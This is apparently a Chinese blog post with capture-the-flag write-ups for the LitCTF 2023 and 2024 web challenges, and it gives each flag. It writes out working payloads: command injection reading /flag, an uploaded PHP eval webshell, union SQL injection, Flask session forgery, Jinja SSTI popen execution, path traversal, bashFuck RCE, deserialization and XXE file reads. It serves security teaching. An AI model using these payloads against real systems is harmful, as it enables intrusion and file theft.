LitCTF-web


LitCTF2023

[LitCTF 2023]我Flag呢?

题目描述:

1
奇怪,放哪里了,怎么看不见呢?(初级难度)

开启环境

查看源码

1
2
3
4
1.鼠标右击
2.在网址前面添加view-source:
3.快捷键:ctrl+u
4.F12审查元素

最后flag为

1
LitCTF{50d1df97-c025-488e-8963-c645e9c48619}

[LitCTF 2023]PHP是世界上最好的语言!!

题目描述:

1
探姬坚信PHP是世界上最好的语言,于是她用PHP写了一个小工具 (Flag位于根目录)

开启环境

php学习

PHP语言基础知识(超详细)-CSDN博客

php框输入

1
system("cat /flag");

最后flag为

1
LitCTF{81309914-fd95-42d3-ad63-eac699f8aee2}

[LitCTF 2023]导弹迷踪

题目描述:

1
你是一颗导弹,你需要,飞到最后!(通过6道关卡就能拿到flag哦~

开启环境

查看源码,在/src/game.js找到flag

最后flag为

1
LitCTF{y0u_w1n_th1s_!!!}

[LitCTF 2023]Follow me and hack me

题目描述:

1
跟我来~

开启环境

GET传参

1
?CTF=Lit2023

POST传参

1
Challenge=i'm_c0m1ng

最后flag为

1
LitCTF{372ca9bb-031e-46b6-a74b-2351dfd74637}

[LitCTF 2023]Ping

题目描述:

1
看看能PING出什么

开启环境

随便输入地址试试

尝试命令执行

payload:

1
127.0.0.1|ls

发现提示我们只能输入ip地址。应该是前端js被禁用了

方法一:

在选项中取消禁用即可

查看flag

payload:

1
127.0.0.1|cat /flag

方法二:

抓包传参

最后flag为

1
LitCTF{b4de94ac-7f32-4568-b68c-2730abd0d7d1}

[LitCTF 2023]1zjs

题目描述:

1
js…?不确定,再看看。

开启环境

提示js,查看js源码,在index.umd.js找到 /f@k3f1ag.php

访问/f@k3f1ag.php

一眼jsfuck解密,控制台解密即可

最后flag为

1
LitCTF{1e684660-fb27-4244-aac7-3db7de6e5b35}

[LitCTF 2023]作业管理系统

题目描述:

1
交作业!!但是哪里不对?

开启环境

查看源码

登录查看

文件上传

新建木马文件1.php

1
<?php @eval($_POST[1]); ?>

蚁剑连接

找到flag

最后flag为

1
LitCTF{b7990b47-41cf-4bdb-bd6e-c1c8e5ae736d}

[LitCTF 2023]Http pro max plus

题目描述:

1
怎么还有一层…

开启环境

1
Client-ip:127.0.0.1

1
Referer: pornhub.com

1
User-Agent: Chrome

1
via: Clash.win

访问/wtfwtfwtfwtf.php

查看源码

访问/sejishikong.php

最后flag为

1
LitCTF{7e01ad14-74ab-46aa-86b6-1c34f4913585}

[LitCTF 2023]Vim yyds

题目描述:

1
漏…漏了!

开启环境

vim缓存文件泄露,访问.index.php.swp

查看文件内容

1
vim -r .index.php.swp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<head>
<meta charset="UTF-8">
<style type="text/css">
body,
html {
display: flex;
align-items: center;
justify-content: center;
}

div.vim {
display: flex;
align-content: center;
vertical-align: middle;
justify-content: center;
}

img {
border: none;
width: 8rem;
height: auto;
}

h1.vim_yyds {
color: #50f728;
display: flex;
align-items: flex-start;
justify-content: center;
margin-top: 50;
margin-left: 5px;
}

h3.vim_said {
color: #39c2ff;
display: flex;
justify-content: center;
align-items: center;
}

br,
p {
font-size: 20;
}
</style>
</head>

<body>
<main>
<div class="vim">
<img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>
<h1 class="vim_yyds">
Vim yyds
</h1>
</div>
<h3 class="vim_said">
队里师傅说Vim是世界上最好的编辑器,不接受反驳
</h3>
<div class="can_can_vim">
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>
</div>
</main>
</body>

给了你password的值,然后它要求你POST请求的参数password输出的值和它原来的base64编码的值相同,然后就可以执行cmd的命令

满足POST传入的参数 password 与base64编码后的 “Give_Me_Your_Flag” 相等才能触发一句话木马

payload:

1
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

最后flag为

1
LitCTF{83be9eb3-f6d9-4d65-83d0-aebced2fc715}

[LitCTF 2023]这是什么?SQL !注一下 !

题目描述:

1
为了安全起见多带了几个套罢了o(////▽////)q

开启环境

代码中给出了username和password两列,所以我们就可以不用使用order by 语句

爆库

1
?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata --+

爆表

1
?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

爆字段

1
?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' --+

爆字段值

1
?id=1)))))) union select 1,flag from ctftraining.flag --+

最后flag为

1
LitCTF{2b87dd38-223d-46c6-86cf-7b404a74d793} 

[LitCTF 2023]Flag点击就送!

题目描述:

1
大型Flag赠送活动开始啦,不过只有管理员才能拿到

开启环境

随便输入一个名字看看

点击拿flag

flask-session伪造

先解密原来的session

1
python flask_session_cookie_manager3.py decode -c"eyJuYW1lIjoieWlxaW5nIn0.Z1b0bg.iQl2WNXqA4zx52Z8zuGa9diVeOE"

加密admin身份的session。密钥为LitCTF

1
python flask_session_cookie_manager3.py encode -s 'LitCTF' -t '{"name":"admin"}'

替换session

最后flag为

1
LitCTF{84ad05d6-6949-40e5-97e5-d9d246d538b2}

[LitCTF 2023]就当无事发生

题目描述:

1
2
https://ProbiusOfficial.github.io
差点数据没脱敏就发出去了,还好还没来得及部署,重新再pull一次(x

开启环境

https://github.com/ProbiusOfficial/ProbiusOfficial.github.io/commit/f04fe251bf8811324d4e71cd87b4b15581358490#diff-1474f5fa679c8ac3ff897f022f78e6d753c107596c85a05c06a7466478a3f43
然后在flag是什么呢里面可以找到flag

最后flag为

1
LitCTF{g1thub_c0mmit_1s_s0_us3ful}

[LitCTF 2023]彩蛋

题目描述:

1
彩蛋分布于 我Flag呢 Follow me and hack me 作业管理系统 狠狠的注入 四个题目 中

彩蛋一:

控制台发现

执行 giveMeEgg()

彩蛋二:

备份文件泄露

访问/www.zip

彩蛋三:

访问My_pic/demo.jpg at main · ProbiusOfficial/My_pic

彩蛋四:

输入id=2

最后flag为

1
LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

LitCTF2024

[LitCTF 2024]浏览器也能套娃?

题目描述:

1
浏览器里套浏览器再套浏览器!

开启环境

php伪协议读取

1
file:///flag

最后flag为

1
LitCTF{9fc9a157-8870-4550-8f57-b46379c0f61a}

[LitCTF 2024]一个….池子?

题目描述:

1
试着输入一些有趣的内容吧ww

开启环境

输入63

存在ssti

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
__class__.__bases__[0] 代表object基类

__subclasses__()[132] 代表object子类集合中的第132个类(os._wrap_close)

__init__ 初始化os._wrap_close类

__globals__ 返回os._wrap_close类中所有的方法及属性

__globals__['popen'] 调用该类的popen方法,该方法可执行传入的shell命令

read() 读取输出命令执行结果

构造payload

1
{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("cat /flag").read()}}

[LitCTF 2024]高亮主题(划掉)背景查看器

题目描述:

1
这逻辑合乎周礼么(?

开启环境

无过滤文件包含,路径穿越直接读取

payload:

1
theme=../../../../../../flag

最后flag为

1
LitCTF{90b655da-d632-4e12-9897-64ce625ae33c}

[LitCTF 2024]百万美元的诱惑

题目描述:

1
日元贬值))关我美元什么事~

开启环境

md5弱类型绕过,is_numeric可用a2025绕过

payload1:

1
a=QNKCDZO&b=240610708&c=2025a

也可以数组绕过

1
a[]=1&b[]=2&c=2025a 

访问/dollar.php

无参RCE,取反

参考https://github.com/ProbiusOfficial/bashFuck

payload:

1
?x=$((~$(($(($((~$(())))$((~$(())))))))))$((~$(($((~$(())))$(($((~$(())))$((~$(())))))))))

最后flag为

1
LitCTF{dollar_d0llar_d0ll@r!!!}

[LitCTF 2024]SAS - Serializing Authentication

题目描述:

1
请务必按照要求以正确的姿势的插入密钥(●’◡’●)

开启环境

反序列化

将一个Base64编码的字符串$data解码并反序列化,然后将结果赋值给变量$user

首先,我们需要创建User类的一个实例,并使用指定的用户名和密码进行初始化
然后,我们需要使用serialize()函数将User对象序列化成一个字符串。
最后,我们需要使用base64_encode()函数将序列化后的字符串进行Base64编码。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class User {
public $username;
public $password;

function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}

function isValid() {
return $this->username === 'admin' && $this->password === 'secure_password';
}
}
// 创建User类的实例
$user = new User('admin', 'secure_password');
// 序列化User对象
$serialized = serialize($user);
// 将序列化后的字符串进行Base64编码
$base64Encoded = base64_encode($serialized);
// 打印Base64编码后的字符串
echo $base64Encoded;
?>

运行得到

将base编码上传环境

最后flag为

1
LitCTF{deserialization_vulnerability}

[LitCTF 2024]exx

开启环境

xxe

payload:

1
2
3
4
<!DOCTYPE ANY [
<!ENTITY XXE SYSTEM "file:///flag">
]>
<user><username>&XXE;</username><password>123456</password></user>

最后flag为

1
LitCTF{2c99a40c-a307-45fd-bedf-c68b94edf57a}


文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录